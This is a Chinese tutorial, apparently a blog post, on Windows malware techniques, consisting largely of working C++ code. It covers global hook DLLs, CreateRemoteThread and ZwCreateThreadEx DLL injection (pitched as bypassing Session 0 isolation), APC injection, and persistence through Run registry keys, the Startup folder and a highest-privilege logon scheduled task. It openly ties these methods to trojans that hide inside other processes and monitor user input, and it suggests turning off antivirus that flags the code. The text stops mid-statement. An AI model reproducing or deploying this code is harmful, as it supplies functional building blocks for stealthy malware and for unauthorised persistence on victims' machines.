全局钩子注入

hook,指利用api来提前拦截并处理windows消息的一种技术。如键盘钩子，许多木马都有这东西，监视你的键盘操作。

全局钩子是系统钩子的一种，当指定的一些消息被系统中任何应用程序所处理时，这个钩子就被调用

钩子实际上是一个处理消息的程序段，通过系统调用，把它挂入系统。每当特定的消息发出，在没有到达目的窗口前，钩子程序就先捕获该消息，亦即钩子函数先得到控制权。这时钩子函数即可以加工处理（改变）该消息，也可以不作处理而继续传递该消息，

还可以强制结束消息的传递。对每种类型的钩子由系统来维护一个钩子链，最近安装的钩子放在链的开始，而最先安装的钩子放在最后，也就是后加入的先获得控制权。要实现Win32的系统钩子，必须调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数，

这个函数的原型是

HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId)其中，第一个参数是钩子的类型；第二个参数是钩子函数的地址；第三个参数是包含钩子函数的模块句柄；第四个参数指定监视的线程。如果指定确定的线程，即为线程专用钩子；如果指定为空，即为全局钩子。其中，全局钩子函数必须包含在DLL（动态链接库）中，而线程专用钩子还可以包含在可执行文件中。得到控制权的钩子函数在完成对消息的处理后，如果想要该消息继续传递，那么它必须调用另外一个SDK中的API函数CallNextHookEx来传递它。钩子函数也可以通过直接返回TRUE来丢弃该消息，并阻止该消息的传递。

Dll代码编写

当dll被链接时保存用于调用函数的句柄// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"HMODULE g_hDllModule = NULL;  //作为SetWindowsHookEx调用的实例句柄BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    {        g_hDllModule = hModule;        break;    }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

然后创建好dll里面需要调用的函数

为了把钩子的句柄把传递给其他的进程我们可以再dll中创建共享内存
共享内存使用说明

利用共享内存防多开

下面的代码就是用#pragma data_seg 创建了一个叫 mydata 的数据段，并且用 #pragma comment(linker, “/SECTION:mydata,RWS”) 把其设置为可读写查的权限

// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。//#include "pch.h"extern HMODULE g_hDllModule;// 共享内存#pragma data_seg("mydata")HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, "/SECTION:mydata,RWS")// 钩子回调函数LRESULT GetMsgProc(    int code,    WPARAM wParam,    LPARAM lParam){    return ::CallNextHookEx(g_hHook, code, wParam, lParam);}// 设置全局钩子// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。//#include "pch.h"extern HMODULE g_hDllModule;// 共享内存#pragma data_seg("mydata")HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, "/SECTION:mydata,RWS")// 钩子回调函数LRESULT GetMsgProc(    int code,    WPARAM wParam,    LPARAM lParam){    return ::CallNextHookEx(g_hHook, code, wParam, lParam);}// 设置全局钩子BOOL SetGlobalHook(){    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);    if (NULL == g_hHook)    {        int error = GetLastError();        return FALSE;    }    return TRUE;}// 卸载钩子BOOL UnsetGlobalHook(){    if (g_hHook)    {        ::UnhookWindowsHookEx(g_hHook);    }    return TRUE;}

最后建立一个导出表，用来调用 GobalHook_Test 中定义的函数

LIBRARYEXPORTSSetGlobalHookUnsetGlobalHook

cpp代码编写

// Test-con.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include <Windows.h>int main(){    std::cout << "Hello World!\n";    typedef BOOL(*typedef_SetGlobalHook)();              //为函数声明一个别名，之后再把dll中相应的函数地址载入该别名    typedef BOOL(*typedef_UnsetGlobalHook)();    HMODULE hDll = NULL;    typedef_SetGlobalHook SetGlobalHook = NULL;    typedef_UnsetGlobalHook UnsetGlobalHook = NULL;    BOOL bRet = FALSE;    do    {        hDll = ::LoadLibrary("Global_Hook_Test.dll");        if (NULL == hDll)        {            printf("LoadLibrary Error[%d]\n", ::GetLastError());            break;        }        SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");        if (NULL == SetGlobalHook)        {            printf("GetProcAddress Error[%d]\n", ::GetLastError());            break;        }        bRet = SetGlobalHook();                         //设置钩子        if (bRet)        {            MessageBox(NULL, "SetGlobalHook OK.\n", "SetGlobalHook OK.\n", NULL);        }        else        {            MessageBox(NULL, "Error.\n", "Error.\n", NULL);        }        system("pause");        UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook");         if (NULL == UnsetGlobalHook)        {            printf("GetProcAddress Error[%d]\n", ::GetLastError());            break;        }        UnsetGlobalHook();                        //卸载钩子        printf("UnsetGlobalHook OK.\n");    } while (FALSE);    system("pause");    return 0;}

这样子就完成全局钩子注入了 :-P)

远线程注入

远程线程注入是指一个进程在另一个进程中创建线程的技术。

远程线程是另一个进程中的线程。

通过远程线程注入，来使得木马运行在目标进程中，随意访问目标进程的内存空间，最后这个动态链接库里的代码就成为其他进程的一部分来实现了自身的隐藏执行，通过调用“hook”机制，监视用户的输入输出操作，截取有用的资料等操作。

这种木马的实际执行体是一个dll文件，由于Windows系统自身就包含着大量的dll文件，谁也无法一眼看出哪个dll文件不是系统自带的，所以这种木马的隐蔽性又提高了一级

远线程注入的关键就在于利用函数 CreatRemoteThread 在其他的进程中创建一个线程

CreateRemoteThread

函数原型
HANDLE CreateRemoteThread(
HANDLE hProcess, // handle to process
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId // thread identifier
);

参数说明：
hProcess
[输入] 进程句柄
lpThreadAttributes
[输入] 线程安全描述字，指向SECURITY_ATTRIBUTES结构的指针
dwStackSize
[输入] 线程栈大小，以字节表示
lpStartAddress
[输入] 一个LPTHREAD_START_ROUTINE类型的指针，指向在远程进程中执行的函数地址
lpParameter
[输入] 传入参数
dwCreationFlags
[输入] 创建线程的其它标志

lpThreadId
[输出] 线程身份标志，如果为NULL,则不返回

返回值
成功返回新线程句柄，失败返回NULL，并且可调用GetLastError获得错误值。

这里我们主要关注这几个参数

hProcess        我们需要获取的进程句柄lpStartAddress  指向由线程执行的 LPTHREAD_START_ROUTINE 类型的应用程序定义函数的指针，表示远程进程中线程的起始地址。 函数必须存在于远程进程中。lpParameter     指向要传递给线程函数的变量的指针。

虽然windows有asrl的安全机制，但是还是有一些系统dll的加载基址不变比如 kernel32.dll 所以我们就用这个函数作为远线程函数的基地址

至于dll路径字符串可以先在宿主进程中申请一块内存，在用 WriteProcessMemory 将指定的dll路径写入目标进程中

#include "InjectDll.h"#include "../DllTest/pch.h"void ShowError(char* pszText){    char szErr[MAX_PATH] = { 0 };    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());    ::MessageBox(NULL, szErr, "ERROR", MB_OK);}// 使用 CreateRemoteThread 实现远线程注入BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char* pszDllFileName){    HANDLE hProcess = NULL;    SIZE_T dwSize = 0;    LPVOID pDllAddr = NULL;    FARPROC pFuncProcAddr = NULL;    // 打开注入进程，获取进程句柄    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);    if (NULL == hProcess)    {        int error = GetLastError();        ShowError("OpenProcess");        return FALSE;    }    // 在注入进程中申请内存    dwSize = 1 + ::lstrlen(pszDllFileName);    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);    if (NULL == pDllAddr)    {        ShowError("VirtualAllocEx");        return FALSE;    }    // 向申请的内存中写入数据    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))    {        ShowError("WriteProcessMemory");        return FALSE;    }    // 获取LoadLibraryA函数地址    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");    if (NULL == pFuncProcAddr)    {        ShowError("GetProcAddress_LoadLibraryA");        return FALSE;    }    // 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);    if (NULL == hRemoteThread)    {        ShowError("CreateRemoteThread");        return FALSE;    }    // 关闭句柄    ::CloseHandle(hProcess);    return TRUE;}

注入成功

突破session 0 隔离会话机制的远线程注入

session 0 隔离会话机制概述：在创建一个进程之后不会马上就运行，而是先挂起检查是否在同一会话层再决定是否执行。

在内核6.0引入会话隔离机制后我们普通的远线程注入无法行得通，于是我们要调用更加底层的函数来帮我们实现隔离突破

与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于，突破SESSION 0远线程注 入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程，而具体的远线 程注入原理是相同的。

因为 ZwCreateThreadEx 在ntdll.dll中没有声明所以我们需要使用GetProcessAddress 从ntdll.dll中获取该函数的导出地址

我们只需让第七个参数为0，就可以让其绕过session 0 隔离会话机制 在创建进程之后直接运行了

在64和32位下ZwCreateThreadEx的声明也不同

#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        ULONG CreateThreadFlags,        SIZE_T ZeroBits,        SIZE_T StackSize,        SIZE_T MaximumStackSize,        LPVOID pUnkown);#else    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        BOOL CreateSuspended,        DWORD dwStackSize,        DWORD dw1,        DWORD dw2,        LPVOID pUnkown);#endif

#include "Dll/pch.h"#include "InjectDll.h"void ShowError(char* pszText){    char szErr[MAX_PATH] = { 0 };    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());    ::MessageBox(NULL, szErr, "ERROR", MB_OK);}// 使用 ZwCreateThreadEx 实现远线程注入BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName){    HANDLE hProcess = NULL;    SIZE_T dwSize = 0;    LPVOID pDllAddr = NULL;    FARPROC pFuncProcAddr = NULL;    HANDLE hRemoteThread = NULL;    DWORD dwStatus = 0;    // 打开注入进程，获取进程句柄    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);    if (NULL == hProcess)    {        ShowError("OpenProcess");        return FALSE;    }    // 在注入进程中申请内存    dwSize = 1 + ::lstrlen(pszDllFileName);    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);    if (NULL == pDllAddr)    {        ShowError("VirtualAllocEx");        return FALSE;    }    // 向申请的内存中写入数据    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))    {        ShowError("WriteProcessMemory");        return FALSE;    }    // 加载 ntdll.dll    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");    if (NULL == hNtdllDll)    {        ShowError("LoadLirbary");        return FALSE;    }    // 获取LoadLibraryA函数地址    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");    if (NULL == pFuncProcAddr)    {        ShowError("GetProcAddress_LoadLibraryA");        return FALSE;    }    // 获取ZwCreateThread函数地址#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        ULONG CreateThreadFlags,        SIZE_T ZeroBits,        SIZE_T StackSize,        SIZE_T MaximumStackSize,        LPVOID pUnkown);#else    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        BOOL CreateSuspended,        DWORD dwStackSize,        DWORD dw1,        DWORD dw2,        LPVOID pUnkown);#endif    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");    if (NULL == ZwCreateThreadEx)    {        ShowError("GetProcAddress_ZwCreateThread");        return FALSE;    }    // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);    if (NULL == hRemoteThread)    {        ShowError("ZwCreateThreadEx");        return FALSE;    }    // 关闭句柄    ::CloseHandle(hProcess);    ::FreeLibrary(hNtdllDll);    return TRUE;}

APC注入

用QueueUserAPC 函数把一个APC函数压入APC队列，当线程处于可通知状态下就会被调用。

我们利用QueueUserAPC 遍历线程, 插入APC 提供开始

QueueUserAPC

DWORD QueueUserAPC(  [in] PAPCFUNC  pfnAPC,  [in] HANDLE    hThread,  [in] ULONG_PTR dwData);参数[in] pfnAPC指向应用程序提供的 APC 函数的指针，该函数在指定线程执行可警报的等待操作时调用。 及表示函数执行地址。[in] hThread线程的句柄。句柄必须具有THREAD_SET_CONTEXT访问权限。[in] dwData传递给pfnAPC参数指向的 APC 函数的单个值。及传递给执行函数的参数。

如果第一个参数是LoadLibraryA的函数地址，而第三个参数是dll路径，那么就会加载该dll，完成注入。

#include "../pch.h"#include "h_ApcInject.h"void ShowError(char* pszText){    char szErr[MAX_PATH] = { 0 };    ::wsprintf(szErr, "%s Error[%d]\n", pszText);    ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);}// 根据进程名称获取PIDDWORD GetProcessIdByProcessName(char* pszProcessName){    DWORD dwProcessId = 0;    PROCESSENTRY32 pe32 = { 0 };    HANDLE hSnapshot = NULL;    BOOL bRet = FALSE;    ::RtlZeroMemory(&pe32, sizeof(pe32));    pe32.dwSize = sizeof(pe32);    // 获取进程快照    hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (NULL == hSnapshot)    {        ShowError("CreateToolhelp32Snapshot");        return dwProcessId;    }    // 获取第一条进程快照信息    bRet = ::Process32First(hSnapshot, &pe32);    while (bRet)    {        // 获取快照信息        if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))        {            dwProcessId = pe32.th32ProcessID;            break;        }        // 遍历下一个进程快照信息        bRet = ::Process32Next(hSnapshot, &pe32);    }    return dwProcessId;}// 根据PID获取所有的相应线程IDBOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength){    DWORD* pThreadId = NULL;    DWORD dwThreadIdLength = 0;    DWORD dwBufferLength = 1000;    THREADENTRY32 te32 = { 0 };    HANDLE hSnapshot = NULL;    BOOL bRet = TRUE;    do    {        // 申请内存        pThreadId = new DWORD[dwBufferLength];        if (NULL == pThreadId)        {            ShowError("new");            bRet = FALSE;            break;        }        ::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));        // 获取线程快照        ::RtlZeroMemory(&te32, sizeof(te32));        te32.dwSize = sizeof(te32);        hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);        if (NULL == hSnapshot)        {            ShowError("CreateToolhelp32Snapshot");            bRet = FALSE;            break;        }        // 获取第一条线程快照信息        bRet = ::Thread32First(hSnapshot, &te32);        while (bRet)        {            // 获取进程对应的线程ID            if (te32.th32OwnerProcessID == dwProcessId)            {                pThreadId[dwThreadIdLength] = te32.th32ThreadID;                dwThreadIdLength++;            }            // 遍历下一个线程快照信息            bRet = ::Thread32Next(hSnapshot, &te32);        }        // 返回        *ppThreadId = pThreadId;        *pdwThreadIdLength = dwThreadIdLength;        bRet = TRUE;    } while (FALSE);    if (FALSE == bRet)    {        if (pThreadId)        {            delete[]pThreadId;            pThreadId = NULL;        }    }    return bRet;}// APC注入BOOL ApcInjectDll(char* pszProcessName, char* pszDllName){    BOOL bRet = FALSE;    DWORD dwProcessId = 0;    DWORD* pThreadId = NULL;    DWORD dwThreadIdLength = 0;    HANDLE hProcess = NULL, hThread = NULL;    PVOID pBaseAddress = NULL;    PVOID pLoadLibraryAFunc = NULL;    SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);    DWORD i = 0;    do    {        // 根据进程名称获取PID        dwProcessId = GetProcessIdByProcessName(pszProcessName);        if (0 >= dwProcessId)        {            bRet = FALSE;            break;        }        // 根据PID获取所有的相应线程ID        bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);        if (FALSE == bRet)        {            bRet = FALSE;            break;        }        // 打开注入进程        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);        if (NULL == hProcess)        {            ShowError("OpenProcess");            bRet = FALSE;            break;        }        // 在注入进程空间申请内存        pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (NULL == pBaseAddress)        {            ShowError("VirtualAllocEx");            bRet = FALSE;            break;        }        // 向申请的空间中写入DLL路径数据         ::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);        if (dwRet != dwDllPathLen)        {            ShowError("WriteProcessMemory");            bRet = FALSE;            break;        }        // 获取 LoadLibrary 地址        pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");        if (NULL == pLoadLibraryAFunc)        {            ShowError("GetProcessAddress");            bRet = FALSE;            break;        }        // 遍历线程, 插入APC        for (i = 0; i < dwThreadIdLength; i++)        {            // 打开线程            hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);            if (hThread)            {                // 插入APC                ::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);                // 关闭线程句柄                ::CloseHandle(hThread);                hThread = NULL;            }        }        bRet = TRUE;    } while (FALSE);    // 释放内存    if (hProcess)    {        ::CloseHandle(hProcess);        hProcess = NULL;    }    if (pThreadId)    {        delete[]pThreadId;        pThreadId = NULL;    }    return bRet;}

main如下：

// ApcInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include "../pch.h"#include "h_ApcInject.h"#include <tchar.h>int _tmain(int argc, _TCHAR* argv[]){    BOOL bRet = FALSE;    // APC注入#ifdef _WIN64    bRet = ApcInjectDll("animation.exe", "G:\\Desktop\\WindowsProgram\\Win_hacker\\Dll_apc\\Debug\\Dll_apc.dll");#else    bRet = ApcInjectDll("animation.exe", "G:\\Desktop\\WindowsProgram\\Win_hacker\\Dll_apc\\Debug\\Dll_apc.dll");#endif    if (bRet)    {        printf("APC Inject OK.\n");    }    else    {        printf("APC Inject ERROR.\n");    }    system("pause");    return 0;}

注入成功，如下

开机启动

修改注册表启动

主要用两个api函数。

RegOpenKeyEx 打开注册表键

RegSetValueEx 修改注册表值，实现开机自启

BOOL Reg_CurrentUser(char *lpszFileName, char *lpszValueName){    // 默认权限    HKEY hKey;    // 打开注册表键    if (ERROR_SUCCESS != ::RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))    {        ShowError("RegOpenKeyEx");        return FALSE;    }    // 修改注册表值，实现开机自启    if (ERROR_SUCCESS != ::RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + ::lstrlen(lpszFileName)))) // lpszValueName 是 目标程序所在目录    {        ::RegCloseKey(hKey);        ShowError("RegSetValueEx");        return FALSE;    }    // 关闭注册表键    ::RegCloseKey(hKey);    return TRUE;}BOOL Reg_LocalMachine(char *lpszFileName, char *lpszValueName){    // 管理员权限    HKEY hKey;    // 打开注册表键    if (ERROR_SUCCESS != ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))    {        ShowError("RegOpenKeyEx");        return FALSE;    }    // 修改注册表值，实现开机自启    if (ERROR_SUCCESS != ::RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + ::lstrlen(lpszFileName))))    {        ::RegCloseKey(hKey);        ShowError("RegSetValueEx");        return FALSE;    }    // 关闭注册表键    ::RegCloseKey(hKey);    return TRUE;}

// SlefStarting.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include "AutoRun_Reg.h"#include "pch.h"int main(){    // 第一种方式修改注册表:HKEY_CURRENT_USER    if (FALSE == Reg_CurrentUser("C:\\Users\\DemonGan\\Desktop\\520_1.exe", "520"))    {        printf("Reg_CurrentUser Error!\n");    }    // 第二种方式修改注册表:HKEY_LOCAL_MACHINE    if (FALSE == Reg_LocalMachine("C:\\Users\\DemonGan\\Desktop\\520_2.exe", "520"))    {        printf("Reg_LocalMachine Error!\n");    }    printf("Reg OK.\n");    system("pause");    return 0;}

执行后如图所示，在注册表中写入了

计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

快速启动目录

先用 SHGetSpecialFolderPath 获取快速启动目录地址，然后将需要启动的程序的快捷方式拷贝到快速目录即可。

// QuickStarting.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include "pch.h"#include <Windows.h>#include <Shlobj.h>#pragma comment(lib, "shell32.lib")BOOL AutoRun_Startup(char* lpszSrcFilePath, char* lpszDestFileName){    BOOL bRet = FALSE;    char szStartupPath[MAX_PATH] = { 0 };    char szDestFilePath[MAX_PATH] = { 0 };    // 获取 快速启动目录 路径    bRet = ::SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);    printf("szStartupPath=%s\n", szStartupPath);    if (FALSE == bRet)    {        return FALSE;    }    // 构造拷贝的 目的文件路径    ::wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);    // 拷贝文件到快速启动目录下    bRet = ::CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);    if (FALSE == bRet)    {        return FALSE;    }    return TRUE;}int main(){    if (FALSE == AutoRun_Startup("C:\\Users\\DemonGan\\Desktop\\520.exe", "520.exe"))    {        printf("Startup Error!\n");    }    printf("Startup OK!\n");    system("pause");    return 0;}

杀毒软件可能会误触，关闭即可。

SHGetSpecialFolderPath的用法

计划任务启动

计划任务会调用COM组件，虽然对于COM组件不太了解，但是可以利用其中的一些类来创建计划任务。

1. 初始化操作
   用CoInitialize函数初始化COM接口。

2. 调用CoCreateInstance 函数创建任务服务对象，ITaskService ,并将其链接到任务服务上。

3. 从ITaskService对象中获取 Root Task Folder 的 指针对象 ITaskFolder,它指向的是新的注册任务。

创建计划任务依然需要管理员权限。

// TaskPlanning.cpp : 此文件包含 “main” 函数。程序执行将在此处开始并结束。
//
#include “pch.h”
#include
#include “TaskSchedule.h”

int main(){    CMyTaskSchedule task;    BOOL bRet = FALSE;    // 创建 任务计划    bRet = task.NewTask("520", "C:\\Users\\DemonGan\\Desktop\\520.exe", "", "");    if (FALSE == bRet)    {        printf("Create Task Schedule Error!\n");    }    // 暂停    printf("Create Task Schedule OK!\n");    system("pause");    // 卸载 任务计划    bRet = task.Delete("520");    if (FALSE == bRet)    {        printf("Delete Task Schedule Error!\n");    }    printf("Delete Task Schedule OK!\n");    system("pause");    return 0;}---#include "TaskSchedule.h"#include "pch.h"void ShowError(char* lpszText, DWORD dwErrCode){    char szErr[MAX_PATH] = { 0 };    ::wsprintf(szErr, "%s Error!\nError Code Is:0x%08x\n", lpszText, dwErrCode);    ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);}CMyTaskSchedule::CMyTaskSchedule(void){    m_lpITS = NULL;    m_lpRootFolder = NULL;    // 初始化COM    HRESULT hr = ::CoInitialize(NULL);    if (FAILED(hr))    {        ShowError("CoInitialize", hr);    }    // 创建一个任务服务（Task Service）实例    hr = ::CoCreateInstance(CLSID_TaskScheduler,        NULL,        CLSCTX_INPROC_SERVER,        IID_ITaskService,        (LPVOID*)(&m_lpITS));    if (FAILED(hr))    {        ShowError("CoCreateInstance", hr);    }    // 连接到任务服务（Task Service）    hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());    if (FAILED(hr))    {        ShowError("ITaskService::Connect", hr);    }    // 获取Root Task Folder的指针，这个指针指向的是新注册的任务    hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);    if (FAILED(hr))    {        ShowError("ITaskService::GetFolder", hr);    }}CMyTaskSchedule::~CMyTaskSchedule(void){    if (m_lpITS)    {        m_lpITS->Release();    }    if (m_lpRootFolder)    {        m_lpRootFolder->Release();    }    // 卸载COM    ::CoUninitialize();}BOOL CMyTaskSchedule::Delete(char* lpszTaskName){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    CComVariant variantTaskName(NULL);    variantTaskName = lpszTaskName;    HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);    if (FAILED(hr))    {        return FALSE;    }    return TRUE;}BOOL CMyTaskSchedule::DeleteFolder(char* lpszFolderName){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    CComVariant variantFolderName(NULL);    variantFolderName = lpszFolderName;    HRESULT hr = m_lpRootFolder->DeleteFolder(variantFolderName.bstrVal, 0);    if (FAILED(hr))    {        return FALSE;    }    return TRUE;}BOOL CMyTaskSchedule::NewTask(char* lpszTaskName, char* lpszProgramPath, char* lpszParameters, char* lpszAuthor){    if (NULL == m_lpRootFolder)    {        return FALSE;    }    // 如果存在相同的计划任务，则删除    Delete(lpszTaskName);    // 创建任务定义对象来创建任务    ITaskDefinition* pTaskDefinition = NULL;    HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);    if (FAILED(hr))    {        ShowError("ITaskService::NewTask", hr);        return FALSE;    }    /* 设置注册信息 */    IRegistrationInfo* pRegInfo = NULL;    CComVariant variantAuthor(NULL);    variantAuthor = lpszAuthor;    hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);    if (FAILED(hr))    {        ShowError("pTaskDefinition::get_RegistrationInfo", hr);        return FALSE;    }    // 设置作者信息    hr = pRegInfo->put_Author(variantAuthor.bstrVal);    pRegInfo->Release();    /* 设置登录类型和运行权限 */    IPrincipal* pPrincipal = NULL;    hr = pTaskDefinition->get_Principal(&pPrincipal);    if (FAILED(hr))    {        ShowError("pTaskDefinition::get_Principal", hr);        return FALSE;    }    // 设置登录类型    hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);    // 设置运行权限    // 最高权限      hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);    pPrincipal->Release();    /* 设置其他信息 */    ITaskSettings* pSettting = NULL;    hr = pTaskDefinition->get_Settings(&pSettting);    if (FAILED(hr))    {        ShowError("pTaskDefinition::get_Settings", hr);        return FALSE;    }    // 设置其他信息    hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);    hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);    hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);    hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);    hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);    pSettting->Release();    /* 创建执行动作 */    IActionCollection* pActionCollect = NULL;    hr = pTaskDefinition->get_Actions(&pActionCollect);    if (FAILED(hr))    {        ShowError("pTaskDefinition::get_Actions", hr);        return FALSE;    }    IAction* pAction = NULL;    // 创建执行操作    hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);    pActionCollect->Release();    /* 设置执行程序路径和参数 */    CComVariant variantProgramPath(NULL);    CComVariant variantParameters(NULL);    IExecAction* pExecAction = NULL;    hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));    if (FAILED(hr))    {        pAction->Release();        ShowError("IAction::QueryInterface", hr);        return FALSE;    }    pAction->Release();    // 设置程序路径和参数    variantProgramPath = lpszProgramPath;    variantParameters = lpszParameters;    pExecAction->put_Path(variantProgramPath.bstrVal);    pExecAction->put_Arguments(variantParameters.bstrVal);    pExecAction->Release();    /* 创建触发器，实现用户登陆自启动 */    ITriggerCollection* pTriggers = NULL;    hr = pTaskDefinition->get_Triggers(&pTriggers);    if (FAILED(hr))    {        ShowError("pTaskDefinition::get_Triggers", hr);        return FALSE;    }    // 创建触发器    ITrigger* pTrigger = NULL;    hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);    if (FAILED(hr))    {        ShowError("ITriggerCollection::Create", hr);        return FALSE;    }    /* 注册任务计划  */    IRegisteredTask* pRegisteredTask = NULL;    CComVariant variantTaskName(NULL);    variantTaskName = lpszTaskName;    hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,        pTaskDefinition,        TASK_CREATE_OR_UPDATE,        _variant_t(),        _variant_t(),        TASK_LOGON_INTERACTIVE_TOKEN,        _variant_t(""),        &pRegisteredTask);    if 